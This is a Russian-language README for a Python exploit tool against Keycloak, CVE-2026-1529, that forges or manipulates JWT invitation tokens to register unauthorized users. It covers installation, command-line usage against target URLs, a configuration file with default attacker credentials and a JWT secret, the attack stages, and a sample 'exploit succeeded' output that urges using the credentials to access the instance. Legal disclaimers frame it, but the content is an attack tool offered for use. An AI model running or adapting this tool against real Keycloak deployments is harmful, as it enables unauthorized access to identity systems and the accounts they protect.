
Keycloak: Несанкционированная регистрация организации из-за некорректной проверки пригласительного токена
CVE-2026-1529: Keycloak — Несанкционированная регистрация организации через некорректную проверку пригласительного токена
⚠️ ПРЕДУПРЕЖДЕНИЕ: Этот инструмент предназначен только для образовательных целей и авторизованного тестирования безопасности. Несанкционированный доступ к компьютерным системам является незаконным.
Этот инструмент демонстрирует критическую уязвимость в Keycloak (CVE-2026-1529), которая позволяет несанкционированную регистрацию организации через некорректную проверку JWT-токена приглашения. Эксплойт манипулирует пригласительными токенами для получения несанкционированного доступа к экземплярам Keycloak.
Детали уязвимости:
# Клонирование репозитория
git clone https://github.com/yourusername/cve-2026-1529-exploit.git
cd cve-2026-1529-exploit
# Создание виртуального окружения
python3 -m venv venv
source venv/bin/activate # На Windows: venv\Scripts\activate
# Установка зависимостей
pip install -r requirements.txt
# Создание структуры каталогов
mkdir -p keycloak-exploit/{utils,config,logs,output/reports}
cd keycloak-exploit
# Загрузка файлов из релизов или ручное копирование
# Затем установка зависимостей
pip install requests urllib3 PyJWT
keycloak-exploit/
├── keycloak-exploit.py # Основной скрипт эксплойта
├── requirements.txt # Зависимости Python
├── README.md # Этот файл
├── config/
│ └── default_config.json # Файл конфигурации
├── utils/
│ ├── __init__.py # Инициализатор пакета
│ ├── http_utils.py # Утилиты HTTP-клиента
│ ├── jwt_utils.py # Манипуляция JWT
│ └── crypto_utils.py # Криптографические утилиты
├── logs/ # Автоматически создаваемые журналы
└── output/
└── reports/ # Отчёты об эксплойте
python3 keycloak-exploit.py https://target-keycloak.com
# С пользовательским пригласительным токеном
python3 keycloak-exploit.py -t eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9... https://target.com
# С пользовательским ID организации
python3 keycloak-exploit.py -o custom_org_id https://target.com
# С пользовательским файлом конфигурации
python3 keycloak-exploit.py -c /path/to/config.json https://target.com
# Включение отладочного журналирования
python3 keycloak-exploit.py -d https://target.com
# Показать справку
python3 keycloak-exploit.py -h
# Показать версию
python3 keycloak-exploit.py -v
Отредактируйте config/default_config.json для настройки параметров эксплойта:
{
"exploit": {
"default_username": "admin_user_2026",
"default_password": "KeycloakCVE2026!",
"default_email": "[email protected]",
"timeout": 30,
"max_retries": 3
},
"jwt": {
"algorithm": "HS256",
"secret_key": "keycloak-cve-2026-1529-exploit",
"token_expiry": 3600
},
"target": {
"endpoints": {
"realms": "/realms",
"organizations": "/organizations",
"register": "/register",
"login": "/login"
}
},
"output": {
"log_level": "INFO",
"save_reports": true,
"report_format": "txt"
}
}
Эксплойт работает в несколько этапов:
Проверка уязвимости
Генерация/манипуляция токеном
Регистрация пользователя
Проверка входа
Генерация отчёта
output/reports/┌─────────────────┐
│ Проверка цели │
└────────┬────────┘
│
▼
┌─────────────────┐
│ Генерация/получение токена │
└────────┬────────┘
│
▼
┌─────────────────┐
│ Манипуляция токеном │
└────────┬────────┘
│
▼
┌─────────────────┐
│ Регистрация пользователя │
└────────┬────────┘
│
▼
┌─────────────────┐
│ Тест входа │
└────────┬────────┘
│
▼
┌─────────────────┐
│ Генерация отчёта │
└─────────────────┘
============================================================
CVE-2026-1529 РЕЗУЛЬТАТЫ ЭКСПЛОЙТА
============================================================
✓ Цель уязвима к CVE-2026-1529
🎯 ЭКСПЛОЙТ УСПЕШЕН!
Имя пользователя: admin_user_2026
Пароль: KeycloakCVE2026!
Электронная почта: [email protected]
Ссылка для входа: https://target.com/realms/master/account
📄 Отчёт сохранён в: output/reports/exploit_report_20260211_050507.txt
🔐 Используйте предоставленные учётные данные для доступа к экземпляру Keycloak!
⚠️ Это демонстрирует несанкционированный доступ из-за CVE-2026-1529
============================================================
от f3ds cr3w est, 2002
============================================================
Подробный отчёт сохраняется в output/reports/ и содержит:
Журналы сохраняются в каталог logs/ с подробной информацией о выполнении.
Решение:
# Убедитесь, что вы находитесь в правильном каталоге
cd keycloak-exploit
python3 keycloak-exploit.py https://target.com
Решение:
# Убедитесь, что каталог config существует
mkdir -p config
# Скопируйте или создайте default_config.json в config/
Решение: Это было исправлено в последней версии. Обновите urllib3:
pip install --upgrade urllib3
Возможные причины:
Решение:
# Включите отладочное журналирование для получения дополнительных деталей
python3 keycloak-exploit.py -d https://target.com
Решение:
# Увеличьте тайм-аут в config/default_config.json
"timeout": 60
Включите подробное журналирование для устранения неполадок:
python3 keycloak-exploit.py -d https://target.com
Это покажет:
⚠️ ВАЖНОЕ ПРАВОВОЕ УВЕДОМЛЕНИЕ ⚠️
Этот инструмент предоставляется только для ОБРАЗОВАТЕЛЬНЫХ целей и АВТОРИЗОВАННОГО ТЕСТИРОВАНИЯ БЕЗОПАСНОСТИ.
Используя этот инструмент, вы соглашаетесь с тем, что:
1. Вы будете использовать этот инструмент только на системах, которыми владеете
или на тестирование которых имеете явное письменное разрешение.
2. Вы понимаете, что несанкционированный доступ к компьютерным системам
является незаконным в соответствии с законами, включая, но не ограничиваясь:
- Computer Fraud and Abuse Act (CFAA) — США
- Computer Misuse Act — Великобритания
- Аналогичное законодательство в других странах
3. Вы принимаете полную ответственность за любые последствия использования
этого инструмента.
4. Авторы и участники не несут ответственности за любое неправильное
использование или ущерб, причинённый этим инструментом.
5. Этот инструмент предоставляется «КАК ЕСТЬ» без каких-либо гарантий.
ИСПОЛЬЗУЙТЕ НА СВОЙ РИСК. НЕСАНКЦИОНИРОВАННЫЙ ДОСТУП ЯВЛЯЕТСЯ ПРЕСТУПЛЕНИЕМ.
Вклад приветствуется! Пожалуйста, следуйте этим рекомендациям:
git checkout -b feature/improvement)git commit -am 'Add new feature')git push origin feature/improvement)# Клонирование вашего форка
git clone https://github.com/yourusername/cve-2026-1529-exploit.git
cd cve-2026-1529-exploit
# Создание виртуального окружения
python3 -m venv venv
source venv/bin/activate
# Установка зависимостей
pip install -r requirements.txt
# Внесите изменения и протестируйте
python3 keycloak-exploit.py https://test-target.com
Создано: f3ds cr3w est, 2002
По вопросам, проблемам или вопросам безопасности:
Помните: Всегда практикуйте ответственное раскрытие информации и этичный взлом. Ref: https://github.com/ninjazan420/CVE-2026-1529-PoC-keycloak-unauthorized-registration-via-improper-invitation-token-validation Сделано с ❤️ от f3ds cr3w est, 2002
| Аргумент | Короткий | Описание |
|---|
target | - | Целевой URL Keycloak (обязательно) |
--token | -t | Пользовательский пригласительный токен |
--org-id | -o | Пользовательский ID организации |
--config | -c | Путь к файлу конфигурации |
--debug | -d | Включить отладочное журналирование |
--version | -v | Показать информацию о версии |
--help | -h | Показать справочное сообщение |
| Раздел | Параметр | Описание | По умолчанию |
|---|
exploit | default_username | Имя пользователя для регистрации | admin_user_2026 |
exploit | default_password | Пароль для регистрации | KeycloakCVE2026! |
exploit | default_email | Электронная почта для регистрации | [email protected] |
exploit | timeout | Тайм-аут HTTP-запроса (секунды) | 30 |
exploit | max_retries | Максимальное количество повторов HTTP | 3 |
jwt | algorithm | Алгоритм подписи JWT | HS256 |
jwt | secret_key | Секретный ключ JWT | Пользовательский |
jwt | token_expiry | Срок действия токена (секунды) | 3600 |